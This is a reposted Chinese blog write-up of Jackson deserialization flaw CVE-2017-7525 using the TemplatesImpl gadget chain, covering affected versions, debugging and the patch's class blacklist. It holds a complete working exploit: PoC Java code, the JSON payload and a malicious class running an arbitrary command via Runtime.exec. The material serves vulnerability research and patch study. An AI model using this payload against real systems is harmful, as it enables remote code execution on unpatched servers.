转载

Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)

本次Jackson反序列化漏洞对于Jackson来说是首例,因此针对这些版本范围的漏洞利用类有很多,这章节只用TemplatesImpl这条在Fastjson也盛行的利用类进行演示,其他利用链在后面的文章中会补充分析。

0x01 影响版本

Jackson 2.6系列 < 2.6.7.1

Jackson 2.7系列 < 2.7.9.1

Jackson 2.8系列 < 2.8.8.1

0x02 限制

JDK使用1.7版本的,不能使用1.8版本,具体原因后面章节会分析到。

注意,小版本搞的1.7版本的也会有些不能成功利用,具体要自己测试才知道哪些版本是可用的。

我本地用的JDK版本为1.7.0_21,之前用的1.7.0_80没成功。

0x03 复现利用

我本地用的jar包:jackson-annotations-2.7.9,jackson-core-2.7.9,jackson-databind-2.7.9,commons-codec-1.12.jar,commons-io-2.5.jar。

PoC.java,这里选择以开启DefaultTyping的方式进行反序列化:

public class PoC {
    public static void main(String[] args)  {
        String exp = readClassStr("./out/production/JSTest/com/evil/Exploit.class");
        String jsonInput = aposToQuotes("{/"object/":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',/n" +
                "{/n" +
                "'transletBytecodes':['"+exp+"'],/n" +
                "'transletName':'mi1k7ea',/n" +
                "'outputProperties':{}/n" +
                "}/n" +
                "]/n" +
                "}");
        System.out.printf(jsonInput);
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        Mi1k7ea mi1k7ea;
        try {
            mi1k7ea = mapper.readValue(jsonInput, Mi1k7ea.class);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static String aposToQuotes(String json){
        return json.replace("'","/"");
    }

    public static String readClassStr(String cls){
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        try {
            FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encode(byteArrayOutputStream.toByteArray());
    }
}

Mi1k7ea.java,要进行反序列化的类:

package com.mi1k7ea;

public class Mi1k7ea {
    public Object object;
}

Exploit.java,恶意类,至于为何要继承AbstractTranslet类可以参考 《Fastjson系列二——1.2.22-1.2.24反序列化漏洞》 中的调试分析:

public class Exploit extends AbstractTranslet {
    public Exploit() throws Exception {

        try {
            BufferedReader br = null;
            //修改成你想要执行的命令
            Process p = Runtime.getRuntime().exec("calc");
            br = new BufferedReader(new InputStreamReader(p.getInputStream()));

            String line = null;
            StringBuilder sb = new StringBuilder();
            while ((line = br.readLine()) != null) {
                sb.append(line + "/n");
                System.out.println(sb);
            }
            File file = new File("result.txt");
            //File file =new File("javaio-appendfile.txt");

            //if file doesnt exists, then create it
            if(!file.exists()){
                file.createNewFile();
            }

            //true = append file
            FileWriter fileWritter = new FileWriter(file.getName(),true);
            BufferedWriter bufferWritter = new BufferedWriter(fileWritter);
            bufferWritter.write(sb.toString());
            bufferWritter.close();
            System.out.println(sb);
        } catch (IOException e) {
            e.printStackTrace();

        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

运行即可成功触发弹计算器:

Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)

Exploit类中换成其他命令的话运行结果保存在result.txt中:

Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)

这里我们看下PoC:

{
    "object":[
        "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
        {
            "transletBytecodes":["xxx"],
            "transletName":"mi1k7ea",
            "outputProperties":{}
        }
    ]
}

这里解释下设置的几个JSON键值对:

  • transletBytecodes——Base64编码的Exploit恶意类的字节流,编码原因可参考之前的 《Fastjson系列二——1.2.22-1.2.24反序列化漏洞》 ;
  • transletName——TemplatesImpl类对象的_name属性值;
  • outputProperties——为的是能够成功调用setOutputProperties()函数,该函数是outputProperties属性的setter方法,在Jackson反序列化时会被自动调用;

0x04 调试分析

mi1k7ea = mapper.readValue(jsonInput, Mi1k7ea.class); 中打下断点;同时,我们由之前Fastjson中的分析也知道,TemplatesImpl利用链的其中一步是调用了getOutputProperties()函数,我们也在这里打下断点。

下面开始调试,其中反序列化的处理过程和之前调试的一样,我们直接跟到关键的地方看看就好。

我们知道在BeanDeserializer.vanillaDeserialize()函数中会先新建Bean实例,然后调用deserializeAndSet()函数来解析属性值并设置到该Bean中;而在deserializeAndSet()函数中,会反射调用属性的setter方法来设置属性值。

前两个属性transletBytecodes和transletName都是通过反射机制调用setter方法设置的, 但是outputProperties属性在deserializeAndSet()函数中是通过反射机制调用它的getter方法,这就是该利用链能被成功触发的原因,虽然Jackson的反序列化机制只是调用setter方法,但是是调用SetterlessProperty.deserializeAndSet()来解析outputProperties属性而前面两个属性是调用的MethodProperty.deserializeAndSet()解析的,其中SetterlessProperty.deserializeAndSet()函数中是调用属性的getter方法而非setter方法

Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)

Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)

再往下就是反射调用到了getOutputProperties():

Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)

再后面就和Fastjson中分析的一样了,这里不再赘述。

利用链:getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->恶意类构造函数

到getOutputProperties()时的函数调用栈如下:

getOutputProperties:431, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
deserializeAndSet:105, SetterlessProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:493, SettableBeanProperty (com.fasterxml.jackson.databind.deser)
deserializeAndSet:101, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2797, ObjectMapper (com.fasterxml.jackson.databind)
main:27, PoC

0x05 为什么要设置transletName属性值

PoC不写该属性值的话会报错,我们调试分析下原因。

跟踪到getOutputProperties()->newTransformer()->getTransletInstance()这条调用链时发现,问题出在TemplatesImpl.getTransletInstance()函数中:

Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)

由于此处_name为null,导致程序提前return了,并未进入后面生成Java了以及新建该Java类实例的代码中,从而也无法成功触发漏洞。

由前面调试分析可知,transletBytecodes和transletName属性值都是通过调用MethodProperty.deserializeAndSet()函数来反射调用其setter方法来设置的。

这里我们重新transletName属性带上,再次调试,跟进设置transletName属性值时的MethodProperty.deserializeAndSet()函数中,发现其调用的setter方法就是TemplatesImpl.setTransletName()函数:

Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)

因此这个属性值是必须的,不能为null。

0x06 高版本JDK不能触发的原因——_tfactory

在大版本下,JDK1.7和1.8中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类是有所不同的。

当然,在小版本较高的1.7和某些1.8的还是能够成功触发的,具体的可自行测试。

在我本地的JDK 1.8.0_73 版本中,看到在TemplatesImpl.getTransletInstance()方法中调用了defineTransletClasses()函数来定义Java类,跟进看看:

Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)

区别在于新建TransletClassLoader类实例的代码,其中调用了 _factory 属性,但是该属性值我们没有在PoC中设置,默认为null,于是就会抛出异常了。

那么如何设置这个 _factory 属性呢?我们在PoC中随便填入如 '_factory':{}, ,会看到如下错误信息:

com.fasterxml.jackson.databind.exc.UnrecognizedPropertyException: Unrecognized field "_factory" (class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl), not marked as ignorable (5 known properties: "uriresolver", "transletBytecodes", "outputProperties", "transletName", "stylesheetDOM"])

可以看到,这个错误是Jackson.databind报的,说的是TemplatesImpl类已知的只有5个配置项,即”uriresolver”, “transletBytecodes”, “outputProperties”, “transletName”, “stylesheetDOM”。

在里面没有看到tfactory相关字样,也就是说, Jackson压根就不支持我们在序列化的TemplatesImpl类的内容上添加并解析_tfactory属性

0x07 补丁分析

这里将jackson-databind-2.7.9换成jackson-databind-2.7.9.1。

尝试运行会报错如下,显示因为某些安全原因禁止了该类的加载:

com.fasterxml.jackson.databind.JsonMappingException: Illegal type (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) to deserialize: prevented for security reasons

调试分析,在调用BeanDeserializerFactory.createBeanDeserializer()函数创建Bean反序列化器的时候,其中会调用checkIllegalTypes()函数提取当前类名,然后使用黑名单进行过滤:

Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)

Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)

注意:实际调试的时候回调用两次BeanDeserializerFactory.createBeanDeserializer()->checkIllegalTypes(),第一次由于是Mi1k7ea类,因此不会被过滤;第二次是TemplatesImpl类,由于其在黑名单中,因此被过滤了。

在jackson-databind-2.7.9.1-sources.jar!/com/fasterxml/jackson/databind/deser/BeanDeserializerFactory.java中,存在默认的黑名单DEFAULT_NO_DESER_CLASS_NAMES,将TemplatesImpl类以及早期其他常用反序列化利用类都过滤了:

static {
    Set<String> s = new HashSet<String>();
    // Courtesy of [https://github.com/kantega/notsoserial]:
    // (and wrt [databind#1599]
    s.add("org.apache.commons.collections.functors.InvokerTransformer");
    s.add("org.apache.commons.collections.functors.InstantiateTransformer");
    s.add("org.apache.commons.collections4.functors.InvokerTransformer");
    s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
    s.add("org.codehaus.groovy.runtime.ConvertedClosure");
    s.add("org.codehaus.groovy.runtime.MethodClosure");
    s.add("org.springframework.beans.factory.ObjectFactory");
    s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}

OK,17年经典的Jackson反序列化漏洞就说到这,利用链是和Fastjson一样的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,两者的利用链很多都是可以共用的,但是会有些细微的区别。下一篇文章看看Jackson其他反序列化利用链及CVE漏洞。

原文  https://www.mi1k7ea.com/2019/11/16/Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)/
正文到此结束
Loading...